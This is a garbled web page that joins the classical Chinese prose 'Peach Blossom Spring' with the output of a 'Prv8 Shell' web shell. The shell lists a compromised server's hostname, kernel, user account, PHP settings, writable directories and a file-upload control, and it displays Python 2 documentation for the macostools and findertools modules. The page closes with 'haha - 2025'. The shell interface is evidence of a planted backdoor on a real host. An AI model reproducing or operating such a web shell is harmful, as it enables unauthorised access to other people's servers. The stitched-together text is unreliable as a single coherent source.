晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/python2-docs/html/_sources/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/python2-docs/html/_sources/library/macostools.rst.txt
:mod:`macostools` --- Convenience routines for file manipulation
================================================================

.. module:: macostools
   :platform: Mac
   :synopsis: Convenience routines for file manipulation.
   :deprecated:


This module contains some convenience routines for file-manipulation on the
Macintosh. All file parameters can be specified as pathnames, :class:`FSRef` or
:class:`FSSpec` objects.  This module expects a filesystem which supports forked
files, so it should not be used on UFS partitions.

.. note::

   This module has been removed in Python 3.



The :mod:`macostools` module defines the following functions:


.. function:: copy(src, dst[, createpath[, copytimes]])

   Copy file *src* to *dst*.  If *createpath* is non-zero the folders leading to
   *dst* are created if necessary. The method copies data and resource fork and
   some finder information (creator, type, flags) and optionally the creation,
   modification and backup times (default is to copy them). Custom icons, comments
   and icon position are not copied.

   .. note::

      This function does not work in 64-bit code because it uses APIs that
      are not available in 64-bit mode.

.. function:: copytree(src, dst)

   Recursively copy a file tree from *src* to *dst*, creating folders as needed.
   *src* and *dst* should be specified as pathnames.

   .. note::

      This function does not work in 64-bit code because it uses APIs that
      are not available in 64-bit mode.

.. function:: mkalias(src, dst)

   Create a finder alias *dst* pointing to *src*.

   .. note::

      This function does not work in 64-bit code because it uses APIs that
      are not available in 64-bit mode.


.. function:: touched(dst)

   Tell the finder that some bits of finder-information such as creator or type for
   file *dst* has changed. The file can be specified by pathname or fsspec. This
   call should tell the finder to redraw the files icon.

   .. deprecated:: 2.6
      The function is a no-op on OS X.


.. data:: BUFSIZ

   The buffer size for ``copy``, default 1 megabyte.

Note that the process of creating finder aliases is not specified in the Apple
documentation. Hence, aliases created with :func:`mkalias` could conceivably
have incompatible behaviour in some cases.


:mod:`findertools` --- The :program:`finder`'s Apple Events interface
======================================================================

.. module:: findertools
   :platform: Mac
   :synopsis: Wrappers around the finder's Apple Events interface.


.. index:: single: AppleEvents

This module contains routines that give Python programs access to some
functionality provided by the finder. They are implemented as wrappers around
the AppleEvent interface to the finder.

All file and folder parameters can be specified either as full pathnames, or as
:class:`FSRef` or :class:`FSSpec` objects.

The :mod:`findertools` module defines the following functions:


.. function:: launch(file)

   Tell the finder to launch *file*. What launching means depends on the file:
   applications are started, folders are opened and documents are opened in the
   correct application.


.. function:: Print(file)

   Tell the finder to print a file. The behaviour is identical to selecting the
   file and using the print command in the finder's file menu.


.. function:: copy(file, destdir)

   Tell the finder to copy a file or folder *file* to folder *destdir*. The
   function returns an :class:`Alias` object pointing to the new file.


.. function:: move(file, destdir)

   Tell the finder to move a file or folder *file* to folder *destdir*. The
   function returns an :class:`Alias` object pointing to the new file.


.. function:: sleep()

   Tell the finder to put the Macintosh to sleep, if your machine supports it.


.. function:: restart()

   Tell the finder to perform an orderly restart of the machine.


.. function:: shutdown()

   Tell the finder to perform an orderly shutdown of the machine.


haha - 2025